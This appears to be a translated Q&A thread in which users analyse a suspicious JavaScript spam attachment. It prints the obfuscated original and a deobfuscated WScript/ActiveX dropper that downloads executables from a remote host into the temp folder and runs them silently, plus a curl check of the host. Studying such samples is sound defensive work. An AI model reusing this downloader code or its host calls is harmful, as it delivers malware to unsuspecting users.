web-dev-qa-db-ja.com

メールの添付ファイルとして送信された疑わしいjsファイル

スパムフォルダに次のコードを含むjsファイルを受け取りましたが、ファイルを調べることにしました。あなたの誰かがこのコードが何をするかもしれないか知っていますか?

var evl='';function nr() { evl = '}; ' + evl; de();  }; function ul() { evl = '(92)+' + evl; vd();  }; function hg() { evl = '71D' + evl; pj();  }; function fg() { evl = 'tech.' + evl; pv();  }; function xg() { evl = 'var x' + evl; sq();  }; function nq() { evl = 'a =' + evl; xg();  }; function py() { evl = 'ws.Ru' + evl; nw();  }; function ft() { evl = 'Cha' + evl; hz();  }; function ma() { evl = 'tiveX' + evl; iz();  }; function tj() { evl = 'trin' + evl; fu();  }; function it() { evl = 'n(); ' + evl; rc();  }; function eo() { evl = '5-te' + evl; zw();  }; function sm() { evl = ' dl' + evl; hl();  }; function rm() { evl = 'hell"' + evl; ak();  }; function ob() { evl = 'y); x' + evl; px();  }; function f() { evl = 'D090' + evl; xa();  }; function by() { evl = 'eady' + evl; tr();  }; function pv() { evl = '.s5-' + evl; fj();  }; function ya() { evl = '; try' + evl; uh();  }; function jv() { evl = '== 4' + evl; ui();  }; function bv() { evl = ' va' + evl; jd();  }; function zq() { evl = '=545' + evl; ff();  }; function xb() { evl = 'id=' + evl; rt();  }; function uc() { evl = 'se()' + evl; fy();  }; function w() { evl = 'cumen' + evl; ud();  }; function ts() { evl = '23"' + evl; l();  }; function ko() { evl = '505' + evl; ln();  }; function jk() { evl = ' ws.' + evl; su();  }; function of() { evl = 'pons' + evl; rx();  }; function ud() { evl = 'm/do' + evl; ek();  }; function lq() { evl = 'C5E01' + evl; ko();  }; function oi() { evl = 'n(f' + evl; py();  }; function mf() { evl = 'ect("' + evl; au();  }; function b() { evl = 'view.' + evl; dy();  }; function hl() { evl = 'tion' + evl; fb();  }; function dy() { evl = 'nter' + evl; y();  }; function y() { evl = 'r-i' + evl; q();  }; function yr() { evl = '0105' + evl; dg();  }; function bs() { evl = 'ion ' + evl; wv();  }; function oj() { evl = '7111' + evl; nt();  }; function fk() { evl = 'ws = ' + evl; zc();  }; function bj() { evl = 'A020' + evl; h();  }; function mi() { evl = '854' + evl; hv();  }; function tx() { evl = 'ch.' + evl; eo();  }; function dc() { evl = '08240' + evl; iq();  }; function ui() { evl = 'e =' + evl; st();  }; function n() { evl = 'e",1' + evl; x();  }; function ig() { evl = '{ if ' + evl; pm();  }; function yk() { evl = 'xa.' + evl; cg();  }; function jd() { evl = 'fn;' + evl; ul();  }; function zp() { evl = 'com/' + evl; fg();  }; function iz() { evl = 'w Ac' + evl; fh();  }; function xl() { evl = '= 0;' + evl; bs();  }; function ut() { evl = 'ironm' + evl; pg();  }; function bw() { evl = '; d' + evl; gh();  }; function gw() { evl = '14A02' + evl; mo();  }; function kz() { evl = 'gs("' + evl; tj();  }; function ss() { evl = '(); ' + evl; oa();  }; function ff() { evl = 'hp?id' + evl; v();  }; function so() { evl = 'n,2);' + evl; vp();  }; function qo() { evl = 'ct("M' + evl; al();  }; function wx() { evl = '"7978' + evl; t();  }; function a() { evl = 'A02' + evl; z();  }; function xc() { evl = 'wri' + evl; yk();  }; function g() { evl = 'rnd=' + evl; ld();  }; function zs() { evl = 'D&rnd' + evl; bj();  }; function da() { evl = 'WScri' + evl; mz();  }; function fm() { evl = '-int' + evl; fr();  }; function od() { evl = '0D&' + evl; gw();  }; function at() { evl = 'ADOD' + evl; mf();  }; function wv() { evl = 'osit' + evl; ov();  }; function bp() { evl = ' xa.' + evl; xl();  }; function lg() { evl = '",f' + evl; yj();  }; function lr() { evl = 'docum' + evl; pl();  }; function yn() { evl = 'te(xo' + evl; xc();  }; function pg() { evl = 'ndEnv' + evl; cy();  }; function ih() { evl = 'p://' + evl; mr();  }; function lk() { evl = 'Str' + evl; wh();  }; function ny() { evl = 'xo.op' + evl; iw();  }; function dq() { evl = ' xa.' + evl; so();  }; function eh() { evl = '50D08' + evl; nk();  }; function hv() { evl = '342' + evl; g();  }; function fp() { evl = '); d' + evl; n();  }; function aj() { evl = 'n,0' + evl; oi();  }; function zh() { evl = 'hp?id' + evl; jx();  }; function fu() { evl = 'entS' + evl; ut();  }; function d() { evl = '2547' + evl; ga();  }; function yb() { evl = '.s5-' + evl; r();  }; function fj() { evl = '.app' + evl; vi();  }; function hk() { evl = '=53' + evl; zs();  }; function sq() { evl = ') { ' + evl; jv();  }; function wg() { evl = 'docum' + evl; zp();  }; function ua() { evl = '; xo.' + evl; xr();  }; function sd() { evl = '2.XM' + evl; db();  }; function ga() { evl = ',"240' + evl; ts();  }; function zw() { evl = 'app.s' + evl; b();  }; function cx() { evl = 'eam"' + evl; tn();  }; function as() { evl = 'e =' + evl; th();  }; function ak() { evl = 'pt.S' + evl; da();  }; function ba() { evl = '.ex' + evl; m();  }; function yj() { evl = '"GET' + evl; is();  }; function dl() { evl = 'erv' + evl; fm();  }; function z() { evl = '12014' + evl; ke();  }; function cm() { evl = 'tp://' + evl; gz();  }; function zc() { evl = 'ar ' + evl; tg();  }; function xx() { evl = '); xa' + evl; cx();  }; function ld() { evl = '0D&' + evl; a();  }; function pj() { evl = '1051' + evl; qz();  }; function lp() { evl = '(fr,f' + evl; sm();  }; function cy() { evl = 'Expa' + evl; jk();  }; function fb() { evl = 'func' + evl; we();  }; function de() { evl = ',0); ' + evl; aj();  }; function hw() { evl = '2",' + evl; mi();  }; function vp() { evl = 'ile(f' + evl; wm();  }; function oa() { evl = 'send' + evl; pz();  }; function i() { evl = 'er-' + evl; p();  }; function dt() { evl = 'r,f' + evl; lg();  }; function we() { eval(evl); }; function sg() { evl = '%TEM' + evl; kz();  }; function uk() { evl = ' dl(' + evl; dd();  }; function ue() { evl = 'ready' + evl; or();  }; function rt() { evl = 'php?' + evl; j();  }; function rx() { evl = '.Res' + evl; yn();  }; function v() { evl = 'ent.p' + evl; lr();  }; function nk() { evl = '090' + evl; hg();  }; function ni() { evl = 'tch' + evl; qc();  }; function x() { evl = '79.ex' + evl; oj();  }; function e() { evl = '1);' + evl; sh();  }; function sh() { evl = 'xe",' + evl; k();  }; function t() { evl = '81",' + evl; li();  }; function mo() { evl = 'D120' + evl; s();  }; function ur() { evl = 'http:' + evl; o();  }; function wh() { evl = 'P%")+' + evl; sg();  }; function pa() { evl = 'n,rn' + evl; lp();  }; function cg() { evl = '= 1; ' + evl; dn();  }; function ne() { evl = '); v' + evl; rm();  }; function gh() { evl = ' }; }' + evl; ng();  }; function vv() { evl = 'rnd=7' + evl; od();  }; function wm() { evl = 'ToF' + evl; fq();  }; function k() { evl = '1.e' + evl; d();  }; function j() { evl = 'ent.' + evl; wg();  }; function qz() { evl = '5E0' + evl; c();  }; function xr() { evl = 'P")' + evl; yp();  }; function jx() { evl = 't.p' + evl; w();  }; function au() { evl = 'Obj' + evl; ma();  }; function tn() { evl = 'B.Str' + evl; at();  }; function pm() { evl = '() ' + evl; jj();  }; function yw() { evl = 'ar ' + evl; ne();  }; function ew() { evl = '; }' + evl; uc();  }; function ov() { evl = 'a.p' + evl; ob();  }; function yp() { evl = 'LHTT' + evl; sd();  }; function uh() { evl = '; }' + evl; ew();  }; function nt() { evl = '"40' + evl; hw();  }; function rc() { evl = '.ope' + evl; xx();  }; function q() { evl = 'dle' + evl; jl();  }; function ag() { evl = 'ew Ac' + evl; oy();  }; function u() { evl = 'tec' + evl; yb();  }; function or() { evl = '(xo.' + evl; ig();  }; function tr() { evl = 'onr' + evl; ua();  }; function st() { evl = 'Stat' + evl; ue();  }; function pi() { evl = '171D' + evl; yr();  }; function dn() { evl = 'type ' + evl; zo();  }; function l() { evl = '2948' + evl; vv();  }; function pl() { evl = 'com/' + evl; tx();  }; function cd() { evl = 'tive' + evl; ag();  }; function c() { evl = '05C' + evl; zq();  }; function pz() { evl = '; xo.' + evl; rz();  }; function lj() { evl = '080D' + evl; ka();  }; function h() { evl = '12014' + evl; lj();  }; function dg() { evl = '5C5E' + evl; sx();  }; function mr() { evl = '"htt' + evl; uk();  }; function su() { evl = 'fn =' + evl; yw();  }; function ek() { evl = 'h.co' + evl; u();  }; function jj() { evl = 'ction' + evl; kw();  }; function nw() { evl = '0) { ' + evl; ws();  }; function jl() { evl = '//a' + evl; ur();  }; function r() { evl = 'w.app' + evl; ao();  }; function th() { evl = 'chang' + evl; tm();  }; function al() { evl = 'XObje' + evl; cd();  }; function p() { evl = 'adl' + evl; ih();  }; function xa() { evl = '05171' + evl; lq();  }; function an() { evl = 'new A' + evl; fk();  }; function ka() { evl = 'D0824' + evl; ap();  }; function sx() { evl = '5450' + evl; xb();  }; function li() { evl = '441' + evl; hk();  }; function vd() { evl = 'rCode' + evl; ft();  }; function tv() { evl = ' (e' + evl; ni();  }; function hz() { evl = 'rom' + evl; kr();  }; function fr() { evl = 'adler' + evl; cm();  }; function qc() { evl = '} ca' + evl; nr();  }; function mz() { evl = 'ect("' + evl; he();  }; function ws() { evl = 'n > ' + evl; wz();  }; function kr() { evl = 'ing.f' + evl; lk();  }; function iw() { evl = ' { ' + evl; ya();  }; function kw() { evl = ' fun' + evl; as();  }; function ap() { evl = '09050' + evl; pi();  }; function ao() { evl = 'vie' + evl; hs();  }; function zo() { evl = 'xa.' + evl; it();  }; function fy() { evl = 'clo' + evl; dq();  }; function fh() { evl = ' ne' + evl; nq();  }; function s() { evl = '24080' + evl; eh();  }; function hs() { evl = 'inter' + evl; i();  }; function px() { evl = 'eBod' + evl; of();  }; function db() { evl = 'SXML' + evl; qo();  }; function pe() { evl = 'r x' + evl; bv();  }; function my() { evl = 'ctiv' + evl; an();  }; function wz() { evl = 'if (r' + evl; ss();  }; function m() { evl = '9691' + evl; wx();  }; function o() { evl = 'l("' + evl; fp();  }; function oy() { evl = 'o = n' + evl; pe();  }; function ln() { evl = '=54' + evl; zh();  }; function dd() { evl = '1);' + evl; fn();  }; function is() { evl = 'en(' + evl; ny();  }; function ke() { evl = '80D' + evl; dc();  }; function fn() { evl = 'e",' + evl; ba();  }; function ng() { evl = 'r) {' + evl; tv();  }; function vi() { evl = 'iew' + evl; dl();  }; function fq() { evl = 'save' + evl; bp();  }; function tm() { evl = 'state' + evl; by();  }; function he() { evl = 'eXObj' + evl; my();  }; function rz() { evl = 'alse)' + evl; dt();  }; function tg() { evl = ') { v' + evl; pa();  }; function iq() { evl = '50D' + evl; f();  }; function gz() { evl = 'l("ht' + evl; bw();  }; e();
3
1011

画像はそれ自体を物語っています:

nasty stuff

これにより、実際には、次のJSを含むZipファイルのダウンロード時にアンチウイルスがトリガーされ、JSUnpackを使用して解読されました。

function dl(fr, fn, rn) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function() {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn, 2);
            xa.close();
        };
    };
    try {
        xo.open("GET", fr, false);
        xo.send();
        if (rn > 0) {
            ws.Run(fn, 0, 0);
        };
    } catch (er) {};
};
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=5344181", "79789691.exe", 1);
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=3428542", "40711179.exe", 1);
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823", "24025471.exe", 1);

これは、ActiveXオブジェクトを使用する関数を定義します(どのように機能するかわかりません。脆弱性を悪用するか、ユーザーが警告をクリックしてコードを実行できるほど愚かであることを期待しています)ファイルシステム(一時ファイルフォルダ)、リモートURLからいくつかの厄介なものをダウンロードし、最後にそれを実行します。

3つのURLをcurl 'すると次の空白の応答が返されるため、実際のマルウェアファイルをホストしているサーバーは侵害されている可能性が高く、すでにクリーンアップされています。 (ターゲットアプリケーションのUA)ファイルをダウンロードするには:

andre@network ~/malware % curl -v "http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823"
* Hostname was NOT found in DNS cache
*   Trying 108.58.188.83...
* Connected to adler-interview.app.s5-tech.com (108.58.188.83) port 80 (#0)
> GET /document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823 HTTP/1.1
> User-Agent: curl/7.39.0
> Host: adler-interview.app.s5-tech.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Server: Microsoft-IIS/7.5
< X-Powered-By: PHP/5.4.9
< X-Powered-By: ASP.NET
< Date: Sat, 20 Dec 2014 02:05:35 GMT
< Content-Length: 0
<
* Connection #0 to Host adler-interview.app.s5-tech.com left intact
3
user42178

ActiveXは何も利用しておらず、警告も表示されません。

それが示すように、最初にシェルオブジェクト(コマンドプロンプト-エンドユーザーには表示されません)を開くため、マシンと対話でき、次にMSXML2.XMLHTTPオブジェクトを使用してhttp GETを実行しますが、ダウンロードするファイルはバイナリなので、ActiveXObject( "ADODB.Stream")を使用して一時ファイルにダウンロードします。その後、もちろん、作成したShellオブジェクトを使用して、ダウンロードした実行可能ファイルを実行します。

0
Wayne